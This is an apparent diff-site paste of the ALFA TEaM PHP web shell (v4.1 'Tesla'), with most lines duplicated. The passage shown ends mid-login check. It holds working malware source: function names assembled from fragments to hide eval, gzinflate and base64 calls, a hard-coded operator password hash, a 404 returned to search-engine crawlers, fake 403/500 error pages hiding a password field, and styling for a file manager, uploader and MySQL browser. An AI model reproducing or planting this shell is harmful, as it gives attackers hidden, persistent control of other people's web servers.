alfa_diff

Created Diff never expires
<?php
<?php
/*
Author: Solevisible/Alfa-Team
Telegram: https://telegram.me/solevisible
YouTube: https://youtube.com/solevisible
Gmail: solevisible@gmail.com
Date: Monday, September 14, 2020
*/
$GLOBALS['oZgNypoPRU'] = array(
'username' => 'alfa',
'password' => 'a6f452ec3293d7fb72c5b677257b20ec',//md5(ehsan)
'safe_mode' => '0',
'login_page' => '403',
'show_icons' => '1',
'post_encryption' => false,
'cgi_api' => true,
);

$CWppUDJxuf = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's';
$aztJtafUXm = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . '';
$OVpGNqqFZs = 'e' . 'v' . 'al';
$psDEwGhsxg = 'gz' . 'inf' . 'late';

if (!$CWppUDJxuf('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . ''))
{
function vcnvSCZgBz($data)
{
if (empty($data)) return;
$b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
$ac = 0;
$enc = '';
$tmp_arr = array();
if (!$data)
{
return $data;
}
do
{
$o1 = $aztJtafUXm($data, $i++);
$o2 = $aztJtafUXm($data, $i++);
$o3 = $aztJtafUXm($data, $i++);
$bits = $o1 << 16 | $o2 << 8 | $o3;
$h1 = $bits >> 18 & 0x3f;
$h2 = $bits >> 12 & 0x3f;
$h3 = $bits >> 6 & 0x3f;
$h4 = $bits & 0x3f;
$tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
}
while ($i < strlen($data));
$enc = implode($tmp_arr, '');
$r = (strlen($data) % 3);
return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
}
function charCodeAt($data, $char)
{
return ord(substr($data, $char, 1));
}
function charAt($data, $char)
{
return substr($data, $char, 1);
}
}
else
{
function vcnvSCZgBz($s)
{
$b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '';
return $b($s);
}
}
if (!$CWppUDJxuf('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . ''))
{
function zRtSHsbTzV($input)
{
if (empty($input)) return;
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
$i = 0;
$output = "";
$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
do
{
$enc1 = strpos($keyStr, substr($input, $i++, 1));
$enc2 = strpos($keyStr, substr($input, $i++, 1));
$enc3 = strpos($keyStr, substr($input, $i++, 1));
$enc4 = strpos($keyStr, substr($input, $i++, 1));
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr((int)$chr1);
if ($enc3 != 64)
{
$output = $output . chr((int)$chr2);
}
if ($enc4 != 64)
{
$output = $output . chr((int)$chr3);
}
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
}
while ($i < strlen($input));
return $output;
}
}
else
{
function zRtSHsbTzV($s)
{
$b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '';
return $b($s);
}
}

function __ZW5jb2Rlcg($s)
{
return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
return zRtSHsbTzV($s);
}

$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];

foreach ($GLOBALS['DB_NAME'] as $key => $value)
{
$prefix = substr($key, 0, 2);
if ($prefix == "us")
{
$GLOBALS['DB_NAME']["user"] = $value;
$GLOBALS['DB_NAME']["user_rand"] = $key;
}
elseif ($prefix == "pa")
{
$GLOBALS['DB_NAME']["pass"] = $value;
$GLOBALS['DB_NAME']["pass_rand"] = $key;
}
elseif ($prefix == "sa")
{
$GLOBALS['DB_NAME']["safemode"] = $value;
$GLOBALS['DB_NAME']["safemode_rand"] = $key;
}
elseif ($prefix == "lo")
{
$GLOBALS['DB_NAME']["login_page"] = $value;
$GLOBALS['DB_NAME']["login_page_rand"] = $key;
}
elseif ($prefix == "sh")
{
$GLOBALS['DB_NAME']["show_icons"] = $value;
$GLOBALS['DB_NAME']["show_icons_rand"] = $key;
}
elseif ($prefix == "po")
{
$GLOBALS['DB_NAME']["post_encryption"] = $value;
$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
}
elseif ($prefix == "cg")
{
$GLOBALS['DB_NAME']["cgi_api"] = $value;
$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
}
}

unset($GLOBALS['oZgNypoPRU']);

if (!isset($_SERVER["HTTP_HOST"])) exit();

if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
define("__ALFA_VERSION__", "4.1");
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');
$GLOBALS['__ALFA_COLOR__'] = array(
$GLOBALS['__ALFA_COLOR__'] = array(
"shell_border" => array(
"shell_border" => array(
"key_color" => "#0E304A",
"key_color" => "#0E304A",
"multi_selector" => array(
"multi_selector" => array(
".header" => "border: 7px solid {color}",
".header" => "border: 7px solid {color}",
"#meunlist" => "border-color: {color}",
"#meunlist" => "border-color: {color}",
"#hidden_sh" => "background-color: {color}",
"#hidden_sh" => "background-color: {color}",
".ajaxarea" => "border: 1px solid {color}",
".ajaxarea" => "border: 1px solid {color}",
".foot" => "border-color: {color}",
".foot" => "border-color: {color}",
)
)
),
),
"header_vars" => "#27979B",
"header_vars" => "#27979B",
"header_values" => "#67ABDF",
"header_values" => "#67ABDF",
"header_on" => "#00FF00",
"header_on" => "#00FF00",
"header_off" => "#ff0000",
"header_off" => "#ff0000",
"header_none" => "#00FF00",
"header_none" => "#00FF00",
"home_shell" => "#ff0000",
"home_shell" => "#ff0000",
"home_shell:hover" => array(
"home_shell:hover" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".home_shell:hover" => "color: {color};",
".home_shell:hover" => "color: {color};",
)
)
),
),
"back_shell" => "#efbe73",
"back_shell" => "#efbe73",
"back_shell:hover" => array(
"back_shell:hover" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".back_shell:hover" => "color: {color};",
".back_shell:hover" => "color: {color};",
)
)
),
),
"header_pwd" => "#00FF00",
"header_pwd" => "#00FF00",
"header_pwd:hover" => array(
"header_pwd:hover" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".header_pwd:hover" => "color: {color};",
".header_pwd:hover" => "color: {color};",
)
)
),
),
"header_drive" => "#00FF00",
"header_drive" => "#00FF00",
"header_drive:hover" => array(
"header_drive:hover" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".header_drive:hover" => "color: {color};",
".header_drive:hover" => "color: {color};",
)
)
),
),
"header_show_all" => "#00FF00",
"header_show_all" => "#00FF00",
"disable_functions" => "#ff0000",
"disable_functions" => "#ff0000",
"footer_text" => "#27979B",
"footer_text" => "#27979B",
"menu_options" => "#27979B",
"menu_options" => "#27979B",
"menu_options:hover" => array(
"menu_options:hover" => array(
"key_color" => "#646464",
"key_color" => "#646464",
"multi_selector" => array(
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
)
),
),
"options_list" => array(
"options_list" => array(
"key_color" => "#00FF00",
"key_color" => "#00FF00",
"multi_selector" => array(
"multi_selector" => array(
".content_options_holder .header center a" => "color: {color};",
".content_options_holder .header center a" => "color: {color};",
)
)
),
),
"options_list:hover" => array(
"options_list:hover" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".content_options_holder .header center a:hover" => "color: {color};",
".content_options_holder .header center a:hover" => "color: {color};",
)
)
),
),
"options_list_header" => array(
"options_list_header" => array(
"key_color" => "#59cc33",
"key_color" => "#59cc33",
"multi_selector" => array(
"multi_selector" => array(
".txtfont_header" => "color: {color};",
".txtfont_header" => "color: {color};",
)
)
),
),
"options_list_text" => array(
"options_list_text" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".txtfont,.tbltxt" => "color: {color};",
".txtfont,.tbltxt" => "color: {color};",
)
)
),
),
"Alfa+" => array(
"Alfa+" => array(
"key_color" => "#06ff0f",
"key_color" => "#06ff0f",
"multi_selector" => array(
"multi_selector" => array(
".alfa_plus" => "color: {color};font-weight: unset;",
".alfa_plus" => "color: {color};font-weight: unset;",
)
)
),
),
"hidden_shell_text" => array(
"hidden_shell_text" => array(
"key_color" => "#00FF00",
"key_color" => "#00FF00",
"multi_selector" => array(
"multi_selector" => array(
"#hidden_sh a" => "color: {color};",
"#hidden_sh a" => "color: {color};",
)
)
),
),
"hidden_shell_version" => "#ff0000",
"hidden_shell_version" => "#ff0000",
"shell_name" => "#FF0000",
"shell_name" => "#FF0000",
"main_row:hover" => array(
"main_row:hover" => array(
"key_color" => "#646464",
"key_color" => "#646464",
"multi_selector" => array(
"multi_selector" => array(
".main tr:hover" => "background-color: {color};",
".main tr:hover" => "background-color: {color};",
)
)
),
),
"main_header" => array(
"main_header" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".main th" => "color: {color};",
".main th" => "color: {color};",
)
)
),
),
"main_name" => array(
"main_name" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".main .main_name" => "color: {color};font-weight: unset;",
".main .main_name" => "color: {color};font-weight: unset;",
)
)
),
),
"main_size" => "#67ABDF",
"main_size" => "#67ABDF",
"main_modify" => "#67ABDF",
"main_modify" => "#67ABDF",
"main_owner_group" => "#67ABDF",
"main_owner_group" => "#67ABDF",
"main_green_perm" => "#25ff00",
"main_green_perm" => "#25ff00",
"main_red_perm" => "#FF0000",
"main_red_perm" => "#FF0000",
"main_white_perm" => "#FFFFFF",
"main_white_perm" => "#FFFFFF",
"beetween_perms" => "#FFFFFF",
"beetween_perms" => "#FFFFFF",
"main_actions" => array(
"main_actions" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".main .actions" => "color: {color};",
".main .actions" => "color: {color};",
)
)
),
),
"menu_options:hover" => array(
"menu_options:hover" => array(
"key_color" => "#646464",
"key_color" => "#646464",
"multi_selector" => array(
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
)
),
),
"minimize_editor_background" => array(
"minimize_editor_background" => array(
"key_color" => "#0e304a",
"key_color" => "#0e304a",
"multi_selector" => array(
"multi_selector" => array(
".minimized-wrapper" => "background-color: {color};",
".minimized-wrapper" => "background-color: {color};",
)
)
),
),
"minimize_editor_text" => array(
"minimize_editor_text" => array(
"key_color" => "#f5deb3",
"key_color" => "#f5deb3",
"multi_selector" => array(
"multi_selector" => array(
".minimized-text" => "color: {color};",
".minimized-text" => "color: {color};",
)
)
),
),
"editor_border" => array(
"editor_border" => array(
"key_color" => "#0e304a",
"key_color" => "#0e304a",
"multi_selector" => array(
"multi_selector" => array(
".editor-explorer,.editor-modal" => "border: 2px solid {color};",
".editor-explorer,.editor-modal" => "border: 2px solid {color};",
)
)
),
),
"editor_background" => array(
"editor_background" => array(
"key_color" => "rgba(0, 1, 23, 0.94)",
"key_color" => "rgba(0, 1, 23, 0.94)",
"multi_selector" => array(
"multi_selector" => array(
".editor-explorer,.editor-modal" => "background-color: {color};",
".editor-explorer,.editor-modal" => "background-color: {color};",
)
)
),
),
"editor_header_background" => array(
"editor_header_background" => array(
"key_color" => "rgba(21, 66, 88, 0.93)",
"key_color" => "rgba(21, 66, 88, 0.93)",
"multi_selector" => array(
"multi_selector" => array(
".editor-header" => "background-color: {color};",
".editor-header" => "background-color: {color};",
)
)
),
),
"editor_header_text" => array(
"editor_header_text" => array(
"key_color" => "#00ff7f",
"key_color" => "#00ff7f",
"multi_selector" => array(
"multi_selector" => array(
".editor-path" => "color: {color};",
".editor-path" => "color: {color};",
)
)
),
),
"editor_header_button" => array(
"editor_header_button" => array(
"key_color" => "#1d5673",
"key_color" => "#1d5673",
"multi_selector" => array(
"multi_selector" => array(
".close-button, .editor-minimize" => "background-color: {color};",
".close-button, .editor-minimize" => "background-color: {color};",
)
)
),
),
"editor_actions" => array(
"editor_actions" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".editor_actions" => "color: {color};",
".editor_actions" => "color: {color};",
)
)
),
),
"editor_file_info_vars" => array(
"editor_file_info_vars" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".editor_file_info_vars" => "color: {color};",
".editor_file_info_vars" => "color: {color};",
)
)
),
),
"editor_file_info_values" => array(
"editor_file_info_values" => array(
"key_color" => "#67ABDF",
"key_color" => "#67ABDF",
"multi_selector" => array(
"multi_selector" => array(
".filestools" => "color: {color};",
".filestools" => "color: {color};",
)
)
),
),
"editor_history_header" => array(
"editor_history_header" => array(
"key_color" => "#14ff07",
"key_color" => "#14ff07",
"multi_selector" => array(
"multi_selector" => array(
".hheader-text,.history-clear" => "color: {color};",
".hheader-text,.history-clear" => "color: {color};",
)
)
),
),
"editor_history_list" => array(
"editor_history_list" => array(
"key_color" => "#03b3a3",
"key_color" => "#03b3a3",
"multi_selector" => array(
"multi_selector" => array(
".editor-file-name" => "color: {color};",
".editor-file-name" => "color: {color};",
)
)
),
),
"editor_history_selected_file" => array(
"editor_history_selected_file" => array(
"key_color" => "rgba(49, 55, 93, 0.77)",
"key_color" => "rgba(49, 55, 93, 0.77)",
"multi_selector" => array(
"multi_selector" => array(
".is_active" => "background-color: {color};",
".is_active" => "background-color: {color};",
)
)
),
),
"editor_history_file:hover" => array(
"editor_history_file:hover" => array(
"key_color" => "#646464",
"key_color" => "#646464",
"multi_selector" => array(
"multi_selector" => array(
".file-holder > .history:hover" => "background-color: {color};",
".file-holder > .history:hover" => "background-color: {color};",
)
)
),
),
"input_box_border" => array(
"input_box_border" => array(
"key_color" => "#0E304A",
"key_color" => "#0E304A",
"multi_selector" => array(
"multi_selector" => array(
"input[type=text],textarea" => "border: 1px solid {color}",
"input[type=text],textarea" => "border: 1px solid {color}",
)
)
),
),
"input_box_text" => array(
"input_box_text" => array(
"key_color" => "#999999",
"key_color" => "#999999",
"multi_selector" => array(
"multi_selector" => array(
"input[type=text],textarea" => "color: {color};",
"input[type=text],textarea" => "color: {color};",
)
)
),
),
"input_box:hover" => array(
"input_box:hover" => array(
"key_color" => "#27979B",
"key_color" => "#27979B",
"multi_selector" => array(
"multi_selector" => array(
"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
)
),
),
"select_box_border" => array(
"select_box_border" => array(
"key_color" => "#0E304A",
"key_color" => "#0E304A",
"multi_selector" => array(
"multi_selector" => array(
"select" => "border: 1px solid {color}",
"select" => "border: 1px solid {color}",
)
)
),
),
"select_box_text" => array(
"select_box_text" => array(
"key_color" => "#FFFFEE",
"key_color" => "#FFFFEE",
"multi_selector" => array(
"multi_selector" => array(
"select" => "color: {color};",
"select" => "color: {color};",
)
)
),
),
"select_box:hover" => array(
"select_box:hover" => array(
"key_color" => "#27979B",
"key_color" => "#27979B",
"multi_selector" => array(
"multi_selector" => array(
"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
)
),
),
"button_border" => array(
"button_border" => array(
"key_color" => "#27979B",
"key_color" => "#27979B",
"multi_selector" => array(
"multi_selector" => array(
"input[type=submit],.button,#addup" => "border: 1px solid {color};",
"input[type=submit],.button,#addup" => "border: 1px solid {color};",
)
)
),
),
"button:hover" => array(
"button:hover" => array(
"key_color" => "#27979B",
"key_color" => "#27979B",
"multi_selector" => array(
"multi_selector" => array(
"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
)
),
),
"outputs_text" => array(
"outputs_text" => array(
"key_color" => "#67ABDF",
"key_color" => "#67ABDF",
"multi_selector" => array(
"multi_selector" => array(
".ml1" => "color: {color};",
".ml1" => "color: {color};",
)
)
),
),
"outputs_border" => array(
"outputs_border" => array(
"key_color" => "#0E304A",
"key_color" => "#0E304A",
"multi_selector" => array(
"multi_selector" => array(
".ml1" => "border: 1px solid {color};",
".ml1" => "border: 1px solid {color};",
)
)
),
),
"uploader_border" => array(
"uploader_border" => array(
"key_color" => "#0E304A",
"key_color" => "#0E304A",
"multi_selector" => array(
"multi_selector" => array(
".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
)
),
),
"uploader_background" => array(
"uploader_background" => array(
"key_color" => "#0E304A",
"key_color" => "#0E304A",
"multi_selector" => array(
"multi_selector" => array(
".inputfile strong" => "background-color: {color};",
".inputfile strong" => "background-color: {color};",
)
)
),
),
"uploader_text_right" => array(
"uploader_text_right" => array(
"key_color" => "#FFFFFF",
"key_color" => "#FFFFFF",
"multi_selector" => array(
"multi_selector" => array(
".inputfile strong" => "color: {color};",
".inputfile strong" => "color: {color};",
)
)
),
),
"uploader_text_left" => array(
"uploader_text_left" => array(
"key_color" => "#25ff00",
"key_color" => "#25ff00",
"multi_selector" => array(
"multi_selector" => array(
".inputfile span" => "color: {color};",
".inputfile span" => "color: {color};",
)
)
),
),
"uploader:hover" => array(
"uploader:hover" => array(
"key_color" => "#27979B",
"key_color" => "#27979B",
"multi_selector" => array(
"multi_selector" => array(
".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
)
),
),
"uploader_progress_bar" => array(
"uploader_progress_bar" => array(
"key_color" => "#00ff00",
"key_color" => "#00ff00",
"multi_selector" => array(
"multi_selector" => array(
".up_bar" => "background-color: {color};",
".up_bar" => "background-color: {color};",
)
)
),
),
"mysql_tables" => "#00FF00",
"mysql_tables" => "#00FF00",
"mysql_table_count" => "#67ABDF",
"mysql_table_count" => "#67ABDF",
"copyright" => "#dfff00",
"copyright" => "#dfff00",
"scrollbar" => array(
"scrollbar" => array(
"key_color" => "#1e82b5",
"key_color" => "#1e82b5",
"multi_selector" => array(
"multi_selector" => array(
"*::-webkit-scrollbar-thumb" => "background-color: {color};",
"*::-webkit-scrollbar-thumb" => "background-color: {color};",
)
)
),
),
"scrollbar_background" => array(
"scrollbar_background" => array(
"key_color" => "#000115",
"key_color" => "#000115",
"multi_selector" => array(
"multi_selector" => array(
"*::-webkit-scrollbar-track" => "background-color: {color};",
"*::-webkit-scrollbar-track" => "background-color: {color};",
)
)
),
),
);
);
$GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
$GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
//@session_start();
@session_write_close();
@session_write_close();
@ignore_user_abort(true);
@ignore_user_abort(true);
@set_time_limit(0);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
@ini_set("upload_max_filesize", "9999m");
if($config['AlfaProtectShell']){
if($config['AlfaProtectShell']){
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
$Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
$Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
if($config['AlfaLoginPage'] == 'gui'){
if($config['AlfaLoginPage'] == 'gui'){
if(@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])){
if(@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])){
if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){
if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
@header('location: '.$_SERVER["PHP_SELF"]);
}
}
echo '
echo '
<style>
<style>
body{background: black;}
body{background: black;}
#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
#loginbox td { border-radius:5px; font-size:11px; }
#loginbox td { border-radius:5px; font-size:11px; }
</style>
</style>
<title>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</title><center>
<title>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</title><center>
<center><img style="border-radius:100px;" width="500" height="250" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></center>
<center><img style="border-radius:100px;" width="500" height="250" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></center>
<div id=loginbox><p><font face="verdana,arial" size=-1>
<div id=loginbox><p><font face="verdana,arial" size=-1>
<center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
<center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
<tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</b></font></th></tr>
<tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</b></font></th></tr>
<tr><td bgcolor="black" style="padding:5">
<tr><td bgcolor="black" style="padding:5">
<form method="post">
<form method="post">
<input type="hidden" name="action" value="login">
<input type="hidden" name="action" value="login">
<input type="hidden" name="hide" value="">
<input type="hidden" name="hide" value="">
<center><table>
<center><table>
<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
<tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
<tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
</div><br /></center>';
</div><br /></center>';
exit;
exit;
}
}
}elseif($config['AlfaLoginPage']=='500'){
}elseif($config['AlfaLoginPage']=='500'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
@header('location: '.$_SERVER["PHP_SELF"]);
}
}
echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>'.$SERVER_SIG.'</body></html>'.$Eform;
echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>'.$SERVER_SIG.'</body></html>'.$Eform;
exit;
exit;
}
}
}elseif($config['AlfaLoginPage']=='403'){
}elseif($config['AlfaLoginPage']=='403'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
